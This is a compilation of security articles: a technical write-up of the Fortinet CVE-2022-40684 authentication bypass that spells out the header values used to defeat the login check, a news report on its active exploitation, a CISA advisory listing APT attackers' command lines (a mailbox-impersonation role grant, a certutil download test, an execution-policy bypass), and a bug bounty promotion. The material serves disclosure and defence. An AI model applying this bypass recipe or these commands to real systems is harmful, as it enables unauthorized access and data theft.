This diff shows that the httpsd proxy handler explicitly sets the forwardedx-forwarded-vdom, and x-forwarded-cert headers. This gives us a hint as to where to start looking for clues on how to exploit this vulnerability.

HTTPSD and Apache Handlers

After some searching, we discover that the init binary we mentioned earlier contains some strings matching the headers in the NodeJs diff. This init binary is rather large and appears to have a lot of functionality including Apache hooks and handlers for various management REST API endpoints. To aid in our research, we SSH’d into the system and enabled debug output for the httpsd process:

fortios_7_2_1 # diagnose debug enable 
fortios_7_2_1 # diagnose debug application httpsd -1
Debug messages will be on for 5 minutes.
fortios_7_2_1 # diagnose debug cli 8
Debug messages will be on for 5 minutes.

While investigating the forwarded header, we find an apache access_check_ex hook that parses the header, extracts the for and by fields, and attaches them to the Apache request_rec structure. You can see that the for field allows us to set the client_ip field on the request record’s connection.

forwarded header parsing

Additionally, we see a log message that mentioned which handler is used for a particular request.

[httpsd 12478 - 1665412044     info] fweb_debug_init[412] -- Handler "api_cmdb_v2-handler" assigned to request

After searching for the handler string, we find an array of handlers in the init binary:

hander array

After investigating some of the handlers, we find that many of them make a call to a function we named api_check_access:

api_check_access

We were immediately drawn to api_check_access_for_trusted_source which first checks if the vdom socket option is trusted, but then falls through to a function we called is_trusted_ip_and_user_agent.

is_trusted_ip_and_user_agent

You can see that this function checks that the client_ip is “127.0.01” and that the User-Agent header matches the second parameter. This function gets called with two possible parameters: “Node.js” and “Report Runner”. The “Node.js” path seems to perform some additional validation, but using “Report Runner” allows us to bypass authentication and perform API requests!

Weaponization

The ability to make unauthenticated request to the the REST API is extremely powerful. However, we noticed that we could not add or change the password for the admin user. To get around this we updated the admin users SSH-keys to allow us to SSH to the target as admin. See our original announcement.

Summary

To wrap things up here is an overview of the necessary conditions of a request for exploiting this vulnerabilty:

  1. Using the Fowarded header an attacker is able to set the client_ip to  “127.0.0.1”.
  2. The “trusted access” authentication check verifies that the client_ip is “127.0.0.1” and the User-Agent is “Report Runner” both of which are under attacker control.

Any HTTP requests to the management interface of the system that match the conditions above should be cause for concern. An attacker can use this vulnerability to do just about anything they want to the vulnerable system. This includes changing network configurations, adding new users, and initiating packet captures. Note that this is not the only way to exploit this vulnerability and there may be other sets of conditions that work. For instance, a modified version of this exploit uses the User-Agent “Node.js”. This exploit seems to follow a trend among recently discovered enterprise software vulnerabilities where HTTP headers are improperly validated or overly trusted. We have seen this in recent F5 and VMware vulnerabilities.

Source :
https://www.horizon3.ai/fortios-fortiproxy-and-fortiswitchmanager-authentication-bypass-technical-deep-dive-cve-2022-40684/

Fortinet Warns of Active Exploitation of Newly Discovered Critical Auth Bypass Bug

Fortinet on Monday revealed that the newly patched critical security vulnerability impacting its firewall and proxy products is being actively exploited in the wild.

Tracked as CVE-2022-40684 (CVSS score: 9.6), the flaw relates to an authentication bypass in FortiOS, FortiProxy, and FortiSwitchManager that could allow a remote attacker to perform unauthorized operations on the administrative interface via specially crafted HTTP(S) requests.

“Fortinet is aware of an instance where this vulnerability was exploited, and recommends immediately validating your systems against the following indicator of compromise in the device’s logs: user=’Local_Process_Access,'” the company noted in an advisory.

CyberSecurity

The list of impacted devices is below –

  • FortiOS version 7.2.0 through 7.2.1
  • FortiOS version 7.0.0 through 7.0.6
  • FortiProxy version 7.2.0
  • FortiProxy version 7.0.0 through 7.0.6
  • FortiSwitchManager version 7.2.0, and
  • FortiSwitchManager version 7.0.0

Updates have been released by the security company in FortiOS versions 7.0.7 and 7.2.2, FortiProxy versions 7.0.7 and 7.2.1, and FortiSwitchManager version 7.2.1.

The disclosure comes days after Fortinet sent “confidential advance customer communications” to its customers, urging them to apply patches to mitigate potential attacks exploiting the flaw.

CyberSecurity

If updating to the latest version isn’t an option, it’s recommended that users disable the HTTP/HTTPS administrative interface, or alternatively limit IP addresses that can access the administrative interface.

Update: The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Tuesday added the Fortinet flaw to its Known Exploited Vulnerabilities (KEV) catalog, requiring federal agencies to apply patches by November 1, 2022.

Details and proof-of-concept (PoC) code for the vulnerability are expected to become publicly available in the coming days, in a move that could enable other threat actors to adopt the exploit to their toolset and mount their own attacks.

“Vulnerabilities affecting devices on the edge of corporate networks are among the most sought after by threat actors because it leads to breaching the perimeter, and CVE-2022-40684 allows exactly this,” Zach Hanley, chief attack engineer at Horizon3.ai, said.

“Past Fortinet vulnerabilities, like CVE-2018-13379, have remained some of the top exploited vulnerabilities over the years and this one will likely be no different.”

Source :
https://thehackernews.com/2022/10/fortinet-warns-of-active-exploitation.html

Alert (AA22-277A) Impacket and Exfiltration Tool Used to Steal Sensitive Information from Defense Industrial Base Organization

Summary

Actions to Help Protect Against APT Cyber Activity:

• Enforce multifactor authentication (MFA) on all user accounts.
• Implement network segmentation to separate network segments based on role and functionality.
• Update software, including operating systems, applications, and firmware, on network assets.
• Audit account usage.

From November 2021 through January 2022, the Cybersecurity and Infrastructure Security Agency (CISA) responded to advanced persistent threat (APT) activity on a Defense Industrial Base (DIB) Sector organization’s enterprise network. During incident response activities, CISA uncovered that likely multiple APT groups compromised the organization’s network, and some APT actors had long-term access to the environment. APT actors used an open-source toolkit called Impacket to gain their foothold within the environment and further compromise the network, and also used a custom data exfiltration tool, CovalentStealer, to steal the victim’s sensitive data.

This joint Cybersecurity Advisory (CSA) provides APT actors tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) identified during the incident response activities by CISA and a third-party incident response organization. The CSA includes detection and mitigation actions to help organizations detect and prevent related APT activity. CISA, the Federal Bureau of Investigation (FBI), and the National Security Agency (NSA) recommend DIB sector and other critical infrastructure organizations implement the mitigations in this CSA to ensure they are managing and reducing the impact of cyber threats to their networks.

Download the PDF version of this report: pdf, 692 KB

For a downloadable copy of IOCs, see the following files:

Technical Details

Threat Actor Activity

NoteThis advisory uses the MITRE ATT&CK® for Enterprise framework, version 11. See the MITRE ATT&CK Tactics and Techniques section for a table of the APT cyber activity mapped to MITRE ATT&CK for Enterprise framework.

From November 2021 through January 2022, CISA conducted an incident response engagement on a DIB Sector organization’s enterprise network. The victim organization also engaged a third-party incident response organization for assistance. During incident response activities, CISA and the trusted –third-party identified APT activity on the victim’s network.

Some APT actors gained initial access to the organization’s Microsoft Exchange Server as early as mid-January 2021. The initial access vector is unknown. Based on log analysis, the actors gathered information about the exchange environment and performed mailbox searches within a four-hour period after gaining access. In the same period, these actors used a compromised administrator account (“Admin 1”) to access the EWS Application Programming Interface (API). In early February 2021, the actors returned to the network and used Admin 1 to access EWS API again. In both instances, the actors used a virtual private network (VPN).

Four days later, the APT actors used Windows Command Shell over a three-day period to interact with the victim’s network. The actors used Command Shell to learn about the organization’s environment and to collect sensitive data, including sensitive contract-related information from shared drives, for eventual exfiltration. The actors manually collected files using the command-line tool, WinRAR. These files were split into approximately 3MB chunks located on the Microsoft Exchange server within the CU2\he\debug directory. See Appendix: Windows Command Shell Activity for additional information, including specific commands used.

During the same period, APT actors implanted Impacket, a Python toolkit for programmatically constructing and manipulating network protocols, on another system. The actors used Impacket to attempt to move laterally to another system.

In early March 2021, APT actors exploited CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065 to install 17 China Chopper webshells on the Exchange Server. Later in March, APT actors installed HyperBro on the Exchange Server and two other systems. For more information on the HyperBro and webshell samples, see CISA MAR-10365227-2 and -3.

In April 2021, APT actors used Impacket for network exploitation activities. See the Use of Impacket section for additional information. From late July through mid-October 2021, APT actors employed a custom exfiltration tool, CovalentStealer, to exfiltrate the remaining sensitive files. See the Use of Custom Exfiltration Tool: CovalentStealer section for additional information.

APT actors maintained access through mid-January 2022, likely by relying on legitimate credentials.

Use of Impacket

CISA discovered activity indicating the use of two Impacket tools: wmiexec.py and smbexec.py. These tools use Windows Management Instrumentation (WMI) and Server Message Block (SMB) protocol, respectively, for creating a semi-interactive shell with the target device. Through the Command Shell, an Impacket user with credentials can run commands on the remote device using the Windows management protocols required to support an enterprise network.

The APT cyber actors used existing, compromised credentials with Impacket to access a higher privileged service account used by the organization’s multifunctional devices. The threat actors first used the service account to remotely access the organization’s Microsoft Exchange server via Outlook Web Access (OWA) from multiple external IP addresses; shortly afterwards, the actors assigned the Application Impersonation role to the service account by running the following PowerShell command for managing Exchange:

powershell add-pssnapin *exchange*;New-ManagementRoleAssignment – name:”Journaling-Logs” -Role:ApplicationImpersonation -User:<account>

This command gave the service account the ability to access other users’ mailboxes.

The APT cyber actors used virtual private network (VPN) and virtual private server (VPS) providers, M247 and SurfShark, as part of their techniques to remotely access the Microsoft Exchange server. Use of these hosting providers, which serves to conceal interaction with victim networks, are common for these threat actors. According to CISA’s analysis of the victim’s Microsoft Exchange server Internet Information Services (IIS) logs, the actors used the account of a former employee to access the EWS. EWS enables access to mailbox items such as email messages, meetings, and contacts. The source IP address for these connections is mostly from the VPS hosting provider, M247.

Use of Custom Exfiltration Tool: CovalentStealer

The threat actors employed a custom exfiltration tool, CovalentStealer, to exfiltrate sensitive files.

CovalentStealer is designed to identify file shares on a system, categorize the files, and upload the files to a remote server. CovalentStealer includes two configurations that specifically target the victim’s documents using predetermined files paths and user credentials. CovalentStealer stores the collected files on a Microsoft OneDrive cloud folder, includes a configuration file to specify the types of files to collect at specified times and uses a 256-bit AES key for encryption. See CISA MAR-10365227-1 for additional technical details, including IOCs and detection signatures.

MITRE ATT&CK Tactics and Techniques

MITRE ATT&CK is a globally accessible knowledge base of adversary tactics and techniques based on real-world observations. CISA uses the ATT&CK Framework as a foundation for the development of specific threat models and methodologies. Table 1 lists the ATT&CK techniques employed by the APT actors.

Initial Access
Technique TitleIDUse
Valid AccountsT1078Actors obtained and abused credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. In this case, they exploited an organization’s multifunctional device domain account used to access the organization’s Microsoft Exchange server via OWA.
Execution
Technique TitleIDUse
Windows Management InstrumentationT1047Actors used Impacket tools wmiexec.py and smbexec.py to leverage Windows Management Instrumentation and execute malicious commands.
Command and Scripting InterpreterT1059Actors abused command and script interpreters to execute commands.
Command and Scripting Interpreter: PowerShellT1059.001Actors abused PowerShell commands and scripts to map shared drives by specifying a path to one location and retrieving the items from another. See Appendix: Windows Command Shell Activity for additional information.
Command and Scripting Interpreter: Windows Command ShellT1059.003Actors abused the Windows Command Shell to learn about the organization’s environment and to collect sensitive data. See Appendix: Windows Command Shell Activity for additional information, including specific commands used.The actors used Impacket tools, which enable a user with credentials to run commands on the remote device through the Command Shell.
Command and Scripting Interpreter: PythonT1059.006The actors used two Impacket tools: wmiexec.py and smbexec.py.
Shared ModulesT1129Actors executed malicious payloads via loading shared modules. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths.
System ServicesT1569Actors abused system services to execute commands or programs on the victim’s network.
Persistence
Technique TitleIDUse
Valid AccountsT1078Actors obtained and abused credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.
Create or Modify System ProcessT1543Actors were observed creating or modifying system processes.
Privilege Escalation
Technique TitleIDUse
Valid AccountsT1078Actors obtained and abused credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. In this case, they exploited an organization’s multifunctional device domain account used to access the organization’s Microsoft Exchange server via OWA.
Defense Evasion
Technique TitleIDUse
Masquerading: Match Legitimate Name or LocationT1036.005Actors masqueraded the archive utility WinRAR.exe by renaming it VMware.exe to evade defenses and observation.
Indicator Removal on HostT1070Actors deleted or modified artifacts generated on a host system to remove evidence of their presence or hinder defenses.
Indicator Removal on Host: File DeletionT1070.004Actors used the del.exe command with the /f parameter to force the deletion of read-only files with the *.rar and tempg* wildcards.
Valid AccountsT1078Actors obtained and abused credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. In this case, they exploited an organization’s multifunctional device domain account used to access the organization’s Microsoft Exchange server via OWA.
Virtualization/Sandbox Evasion: System ChecksT1497.001Actors used Windows command shell commands to detect and avoid virtualization and analysis environments. See Appendix: Windows Command Shell Activity for additional information.
Impair Defenses: Disable or Modify ToolsT1562.001Actors used the taskkill command to probably disable security features. CISA was unable to determine which application was associated with the Process ID.
Hijack Execution FlowT1574Actors were observed using hijack execution flow.
Discovery
Technique TitleIDUse
System Network Configuration DiscoveryT1016Actors used the systeminfo command to look for details about the network configurations and settings and determine if the system was a VMware virtual machine.The threat actor used route print to display the entries in the local IP routing table.
System Network Configuration Discovery: Internet Connection DiscoveryT1016.001Actors checked for internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways.
System Owner/User DiscoveryT1033Actors attempted to identify the primary user, currently logged in user, set of users that commonly use a system, or whether a user is actively using the system.
System Network Connections DiscoveryT1049Actors used the netstat command to display TCP connections, prevent hostname determination of foreign IP addresses, and specify the protocol for TCP.
Process DiscoveryT1057Actors used the tasklist command to get information about running processes on a system and determine if the system was a VMware virtual machine.The actors used tasklist.exe and find.exe to display a list of applications and services with their PIDs for all tasks running on the computer matching the string “powers.”
System Information DiscoveryT1082Actors used the ipconfig command to get detailed information about the operating system and hardware and determine if the system was a VMware virtual machine.
File and Directory DiscoveryT1083Actors enumerated files and directories or may search in specific locations of a host or network share for certain information within a file system.
Virtualization/Sandbox Evasion: System ChecksT1497.001Actors used Windows command shellcommands to detect and avoid virtualization and analysis environments.
Lateral Movement
Technique TitleIDUse
Remote Services: SMB/Windows Admin SharesT1021.002Actors used Valid Accounts to interact with a remote network share using Server Message Block (SMB) and then perform actions as the logged-on user.
Collection
Technique TitleIDUse
Archive Collected Data: Archive via UtilityT1560.001Actor used PowerShell commands and WinRAR to compress and/or encrypt collected data prior to exfiltration.
Data from Network Shared DriveT1039Actors likely used net share command to display information about shared resources on the local computer and decide which directories to exploit, the powershell dircommand to map shared drives to a specified path and retrieve items from another, and the ntfsinfo command to search network shares on computers they have compromised to find files of interest.The actors used dir.exe to display a list of a directory’s files and subdirectories matching a certain text string.
Data Staged: Remote Data StagingT1074.002The actors split collected files into approximately
3 MB chunks located on the Exchange server within the CU2\he\debug directory.
Command and Control
Technique TitleIDUse
Non-Application Layer ProtocolT1095Actors used a non-application layer protocol for communication between host and Command and Control (C2) server or among infected hosts within a network.
Ingress Tool TransferT1105Actors used the certutil command with three switches to test if they could download files from the internet.The actors employed CovalentStealer to exfiltrate the files.
ProxyT1090Actors are known to use VPN and VPS providers, namely M247 and SurfShark, as part of their techniques to access a network remotely.
Exfiltration
Technique TitleIDUse
Schedule TransferT1029Actors scheduled data exfiltration to be performed only at certain times of day or at certain intervals and blend traffic patterns with normal activity.
Exfiltration Over Web Service: Exfiltration to Cloud StorageT1567.002The actor’s CovalentStealer tool stores collected files on a Microsoft OneDrive cloud folder.

DETECTION

Given the actors’ demonstrated capability to maintain persistent, long-term access in compromised enterprise environments, CISA, FBI, and NSA encourage organizations to:

  • Monitor logs for connections from unusual VPSs and VPNs. Examine connection logs for access from unexpected ranges, particularly from machines hosted by SurfShark and M247.
  • Monitor for suspicious account use (e.g., inappropriate or unauthorized use of administrator accounts, service accounts, or third-party accounts). To detect use of compromised credentials in combination with a VPS, follow the steps below:
    • Review logs for “impossible logins,” such as logins with changing username, user agent strings, and IP address combinations or logins where IP addresses do not align to the expected user’s geographic location.
    • Search for “impossible travel,” which occurs when a user logs in from multiple IP addresses that are a significant geographic distance apart (i.e., a person could not realistically travel between the geographic locations of the two IP addresses in the time between logins). Note: This detection opportunity can result in false positives if legitimate users apply VPN solutions before connecting to networks.
    • Search for one IP used across multiple accounts, excluding expected logins.
      • Take note of any M247-associated IP addresses used along with VPN providers (e.g., SurfShark). Look for successful remote logins (e.g., VPN, OWA) for IPs coming from M247- or using SurfShark-registered IP addresses.
    • Identify suspicious privileged account use after resetting passwords or applying user account mitigations.
    • Search for unusual activity in typically dormant accounts.
    • Search for unusual user agent strings, such as strings not typically associated with normal user activity, which may indicate bot activity.
  • Review the YARA rules provided in MAR-10365227-1 to assist in determining whether malicious activity has been observed.
  • Monitor for the installation of unauthorized software, including Remote Server Administration Tools (e.g., psexec, RdClient, VNC, and ScreenConnect).
  • Monitor for anomalous and known malicious command-line use. See Appendix: Windows Command Shell Activity for commands used by the actors to interact with the victim’s environment.
  • Monitor for unauthorized changes to user accounts (e.g., creation, permission changes, and enabling a previously disabled account).

CONTAINMENT AND REMEDIATION

Organizations affected by active or recently active threat actors in their environment can take the following initial steps to aid in eviction efforts and prevent re-entry:

  • Report the incident. Report the incident to U.S. Government authorities and follow your organization’s incident response plan.
  • Reset all login accounts. Reset all accounts used for authentication since it is possible that the threat actors have additional stolen credentials. Password resets should also include accounts outside of Microsoft Active Directory, such as network infrastructure devices and other non-domain joined devices (e.g., IoT devices).
  • Monitor SIEM logs and build detections. Create signatures based on the threat actor TTPs and use these signatures to monitor security logs for any signs of threat actor re-entry.
  • Enforce MFA on all user accounts. Enforce phishing-resistant MFA on all accounts without exception to the greatest extent possible.
  • Follow Microsoft’s security guidance for Active DirectoryBest Practices for Securing Active Directory.
  • Audit accounts and permissions. Audit all accounts to ensure all unused accounts are disabled or removed and active accounts do not have excessive privileges. Monitor SIEM logs for any changes to accounts, such as permission changes or enabling a previously disabled account, as this might indicate a threat actor using these accounts.
  • Harden and monitor PowerShell by reviewing guidance in the joint Cybersecurity Information Sheet—Keeping PowerShell: Security Measures to Use and Embrace.

Mitigations

Mitigation recommendations are usually longer-term efforts that take place before a compromise as part of risk management efforts, or after the threat actors have been evicted from the environment and the immediate response actions are complete. While some may be tailored to the TTPs used by the threat actor, recovery recommendations are largely general best practices and industry standards aimed at bolstering overall cybersecurity posture.

Segment Networks Based on Function

  • Implement network segmentation to separate network segments based on role and functionality. Proper network segmentation significantly reduces the ability for ransomware and other threat actor lateral movement by controlling traffic flows between—and access to—various subnetworks. (See CISA’s Infographic on Layering Network Security Through Segmentation and NSA’s Segment Networks and Deploy Application-Aware Defenses.)
  • Isolate similar systems and implement micro-segmentation with granular access and policy restrictions to modernize cybersecurity and adopt Zero Trust (ZT) principles for both network perimeter and internal devices. Logical and physical segmentation are critical to limiting and preventing lateral movement, privilege escalation, and exfiltration.

Manage Vulnerabilities and Configurations

  • Update softwareincluding operating systemsapplicationsand firmwareon network assets. Prioritize patching known exploited vulnerabilities and critical and high vulnerabilities that allow for remote code execution or denial-of-service on internet-facing equipment.
  • Implement a configuration change control process that securely creates device configuration backups to detect unauthorized modifications. When a configuration change is needed, document the change, and include the authorization, purpose, and mission justification. Periodically verify that modifications have not been applied by comparing current device configurations with the most recent backups. If suspicious changes are observed, verify the change was authorized.

Search for Anomalous Behavior

  • Use cybersecurity visibility and analytics tools to improve detection of anomalous behavior and enable dynamic changes to policy and other response actions. Visibility tools include network monitoring tools and host-based logs and monitoring tools, such as an endpoint detection and response (EDR) tool. EDR tools are particularly useful for detecting lateral connections as they have insight into common and uncommon network connections for each host.
  • Monitor the use of scripting languages (e.g., Python, Powershell) by authorized and unauthorized users. Anomalous use by either group may be indicative of malicious activity, intentional or otherwise.

Restrict and Secure Use of Remote Admin Tools

  • Limit the number of remote access tools as well as who and what can be accessed using them. Reducing the number of remote admin tools and their allowed access will increase visibility of unauthorized use of these tools.
  • Use encrypted services to protect network communications and disable all clear text administration services(e.g., Telnet, HTTP, FTP, SNMP 1/2c). This ensures that sensitive information cannot be easily obtained by a threat actor capturing network traffic.

Implement a Mandatory Access Control Model

  • Implement stringent access controls to sensitive data and resources. Access should be restricted to those users who require access and to the minimal level of access needed.

Audit Account Usage

  • Monitor VPN logins to look for suspicious access (e.g., logins from unusual geo locations, remote logins from accounts not normally used for remote access, concurrent logins for the same account from different locations, unusual times of the day).
  • Closely monitor the use of administrative accounts. Admin accounts should be used sparingly and only when necessary, such as installing new software or patches. Any use of admin accounts should be reviewed to determine if the activity is legitimate.
  • Ensure standard user accounts do not have elevated privileges Any attempt to increase permissions on standard user accounts should be investigated as a potential compromise.

VALIDATE SECURITY CONTROLS

In addition to applying mitigations, CISA, FBI, and NSA recommend exercising, testing, and validating your organization’s security program against threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. CISA, FBI, and NSA recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

  1. Select an ATT&CK technique described in this advisory (see Table 1).
  2. Align your security technologies against the technique.
  3. Test your technologies against the technique.
  4. Analyze the performance of your detection and prevention technologies.
  5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
  6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

CISA, FBI, and NSA recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

RESOURCES

CISA offers several no-cost scanning and testing services to help organizations reduce their exposure to threats by taking a proactive approach to mitigating attack vectors. See cisa.gov/cyber-hygiene-services.

U.S. DIB sector organizations may consider signing up for the NSA Cybersecurity Collaboration Center’s DIB Cybersecurity Service Offerings, including Protective Domain Name System (PDNS) services, vulnerability scanning, and threat intelligence collaboration for eligible organizations. For more information on how to enroll in these services, email dib_defense@cyber.nsa.gov.

ACKNOWLEDGEMENTS

CISA, FBI, and NSA acknowledge Mandiant for its contributions to this CSA.

APPENDIX: WINDOWS COMMAND SHELL ACTIVITY

Over a three-day period in February 2021, APT cyber actors used Windows Command Shell to interact with the victim’s environment. When interacting with the victim’s system and executing commands, the threat actors used /q and /c parameters to turn the echo off, carry out the command specified by a string, and stop its execution once completed.

On the first day, the threat actors consecutively executed many commands within the Windows Command Shell to learn about the organization’s environment and to collect sensitive data for eventual exfiltration (see Table 2).

CommandDescription / Use
net shareUsed to create, configure, and delete network shares from the command-line.[1] The threat actor likely used this command to display information about shared resources on the local computer and decide which directories to exploit.
powershell dirAn alias (shorthand) for the PowerShell Get-ChildItem cmdlet. This command maps shared drives by specifying a path to one location and retrieving the items from another.[2] The threat actor added additional switches (aka options, parameters, or flags) to form a “one liner,” an expression to describe commonly used commands used in exploitation: powershell dir -recurse -path e:\<redacted>|select fullname,length|export-csv c:\windows\temp\temp.txt. This particular command lists subdirectories of the target environment when.
systeminfoDisplays detailed configuration information [3], tasklist – lists currently running processes [4], and ipconfig – displays all current Transmission Control Protocol (TCP)/IP network configuration values and refreshes Dynamic Host Configuration Protocol (DHCP) and Domain Name System (DNS) settings, respectively [5]. The threat actor used these commands with specific switches to determine if the system was a VMware virtual machine: systeminfo > vmware & date /T, tasklist /v > vmware & date /T, and ipconfig /all >> vmware & date /.
route printUsed to display and modify the entries in the local IP routing table. [6] The threat actor used this command to display the entries in the local IP routing table.
netstatUsed to display active TCP connections, ports on which the computer is listening, Ethernet statistics, the IP routing table, IPv4 statistics, and IPv6 statistics.[7] The threat actor used this command with three switches to display TCP connections, prevent hostname determination of foreign IP addresses, and specify the protocol for TCP: netstat -anp tcp.
certutilUsed to dump and display certification authority (CA) configuration information, configure Certificate Services, backup and restore CA components, and verify certificates, key pairs, and certificate chains.[8] The threat actor used this command with three switches to test if they could download files from the internet: certutil -urlcache -split -f https://microsoft.com temp.html.
pingSends Internet Control Message Protocol (ICMP) echoes to verify connectivity to another TCP/IP computer.[9] The threat actor used ping -n 2 apple.com to either test their internet connection or to detect and avoid virtualization and analysis environments or network restrictions.
taskkillUsed to end tasks or processes.[10] The threat actor used taskkill /F /PID 8952 to probably disable security features. CISA was unable to determine what this process was as the process identifier (PID) numbers are dynamic.
PowerShell Compress-Archive cmdletUsed to create a compressed archive or to zip files from specified files and directories.[11] The threat actor used parameters indicating shared drives as file and folder sources and the destination archive as zipped files. Specifically, they collected sensitive contract-related information from the shared drives.

On the second day, the APT cyber actors executed the commands in Table 3 to perform discovery as well as collect and archive data.

CommandDescription / Use
ntfsinfo.exeUsed to obtain volume information from the New Technology File System (NTFS) and to print it along with a directory dump of NTFS meta-data files.[12]
WinRAR.exeUsed to compress files and subsequently masqueraded WinRAR.exe by renaming it VMware.exe.[13]

On the third day, the APT cyber actors returned to the organization’s network and executed the commands in Table 4.

CommandDescription / Use
powershell -ep bypass import-module .\vmware.ps1;export-mft -volume eThreat actors ran a PowerShell command with parameters to change the execution mode and bypass the Execution Policy to run the script from PowerShell and add a module to the current section: powershell -ep bypass import-module .\vmware.ps1;export-mft -volume e. This module appears to acquire and export the Master File Table (MFT) for volume E for further analysis by the cyber actor.[14]
set.exeUsed to display the current environment variable settings.[15] (An environment variable is a dynamic value pointing to system or user environments (folders) of the system. System environment variables are defined by the system and used globally by all users, while user environment variables are only used by the user who declared that variable and they override the system environment variables (even if the variables are named the same).
dir.exeUsed to display a list of a directory’s files and subdirectories matching the eagx* text string, likely to confirm the existence of such file.
tasklist.exe and find.exeUsed to display a list of applications and services with their PIDs for all tasks running on the computer matching the string “powers”.[16][17][18]
ping.exeUsed to send two ICMP echos to amazon.com. This could have been to detect or avoid virtualization and analysis environments, circumvent network restrictions, or test their internet connection.[19]
del.exe with the /f parameterUsed to force the deletion of read-only files with the *.rar and tempg* wildcards.[20]

References

[1] Microsoft Net Share

[2] Microsoft Get-ChildItem

[3] Microsoft systeminfo

[4] Microsoft tasklist

[5] Microsoft ipconfig

[6] Microsoft Route

[7] Microsoft netstat

[8] Microsoft certutil

[9] Microsoft ping

[10] Microsoft taskkill

[11] Microsoft Compress-Archive

[12] NTFSInfo v1.2

[13] rarlab

[14] Microsoft Import-Module

[15] Microsoft set (environment variable)

[16] Microsoft tasklist

[17] Mitre ATT&CK – Sofware: TaskList

[18] Microsoft find

[19] Microsoft ping

[20] Microsoft del

Revisions

October 4, 2022: Initial version

Source :
https://www.cisa.gov/uscert/ncas/alerts/aa22-277a

Why Continuous Security Testing is a Must for Organizations Today

The global cybersecurity market is flourishing. Experts at Gartner predict that the end-user spending for the information security and risk management market will grow from $172.5 billion in 2022 to $267.3 billion in 2026.

One big area of spending includes the art of putting cybersecurity defenses under pressure, commonly known as security testing. MarketsandMarkets forecasts the global penetration testing (pentesting) market size is expected to grow at a Compound Annual Growth Rate (CAGR) of 13.7% from 2022 to 2027. However, the costs and limitations involved in carrying out a penetration test are already hindering the market growth, and consequently, many cybersecurity professionals are making moves to find an alternative solution.

Pentests aren’t solving cybersecurity pain points

Pentesting can serve specific and important purposes for businesses. For example, prospective customers may ask for the results of one as proof of compliance. However, for certain challenges, this type of security testing methodology isn’t always the best fit.

1 — Continuously changing environments

Securing constantly changing environments within rapidly evolving threat landscapes is particularly difficult. This challenge becomes even more complicated when aligning and managing the business risk of new projects or releases. Since penetration tests focus on one moment in time, the result won’t necessarily be the same the next time you make an update.

2 — Rapid growth

It would be unusual for fast-growing businesses not to experience growing pains. For CISOs, maintaining visibility of their organization’s expanding attack surface can be particularly painful.

According to HelpNetSecurity, 45% of respondents conduct pentests only once or twice per year and 27% do it once per quarter, which is woefully insufficient given how quickly infrastructure and applications change.

3 — Cybersecurity skills shortages

As well as limitations in budgets and resources, finding the available skillsets for internal cybersecurity teams is an ongoing battle. As a result, organizations don’t have the dexterity to spot and promptly remediate specific security vulnerabilities.

While pentests can offer an outsider perspective, often it is just one person performing the test. For some organizations, there is also an issue on trust when relying on the work of just one or two people. Sándor Incze, CISO at CM.com, gives his perspective:

“Not all pentesters are equal. It’s very hard to determine if the pentester you’re hiring is good.”

4 — Cyber threats are evolving

The constant struggle to stay up to date with the latest cyberattack techniques and trends puts media organizations at risk. Hiring specialist skills for every new cyber threat type would be unrealistic and unsustainable.

HelpNetSecurity reported that it takes 71 percent of pentesters one week to one month to conduct a pentest. Then, more than 26 percent of organizations must wait between one to two weeks to get the test results, and 13 percent wait even longer than that. Given the fast pace of threat evolution, this waiting period can leave companies unaware of potential security issues and open to exploitation.

5 — Poor-fitting security testing solutions for agile environments

Continuous development lifecycles don’t align with penetration testing cycles (often performed annually.) Therefore, vulnerabilities mistakenly created during long security testing gaps can remain undiscovered for some time.

Bringing security testing into the 21st-century Impact

Cybersecurity Testing

A proven solution to these challenges is to utilize ethical hacker communities in addition to a standard penetration test. Businesses can rely on the power of these crowds to assist them in their security testing on a continuous basis. A bug bounty program is one of the most common ways to work with ethical hacker communities.

What is a bug bounty program?

Bug bounty programs allow businesses to proactively work with independent security researchers to report bugs through incentivization. Often companies will launch and manage their program through a bug bounty platform, such as Intigriti.

Organizations with high-security maturity may leave their bug bounty program open for all ethical hackers in the platform’s community to contribute to (known as a public program.) However, most businesses begin by working with a smaller pool of security talent through a private program.

How bug bounty programs support continuous security testing structures

While you’ll receive a certificate to say you’re secure at the end of a penetration test, it won’t necessarily mean that’s still the case the next time you make an update. This is where bug bounty programs work well as a follow-up to pentests and enable a continuous security testing program.

The impact of bug bounty program on cybersecurity

By launching a bug bounty program, organizations experience:

  1. More robust protection: Company data, brand, and reputation have additional protection through continuous security testing.
  2. Enabled business goals: Enhanced security posture, leading to a more secure platform for innovation and growth.
  3. Improved productivity: Increased workflow with fewer disruptions to the availability of services. More strategic IT projects that executives have prioritized, with fewer security “fires” to put out.
  4. Increased skills availability: Internal security team’s time is freed by using a community for security testing and triage.
  5. Clearer budget justification: Ability to provide more significant insights into the organization’s security posture to justify and motivate for an adequate security budget.
  6. Improved relationships: Project delays significantly decrease without the reliance on traditional pentests.

Want to know more about setting up and launching a bug bounty program?

Intigriti is the leading European-based platform for bug bounty and ethical hacking. The platform enables organizations to reduce the risk of a cyberattack by allowing Intigriti’s network of security researchers to test their digital assets for vulnerabilities continuously.

If you’re intrigued by what you’ve read and want to know about bug bounty programs, simply schedule a meeting today with one of our experts.

www.intigriti.com

Source :
https://thehackernews.com/2022/09/why-continuous-security-testing-is-must.html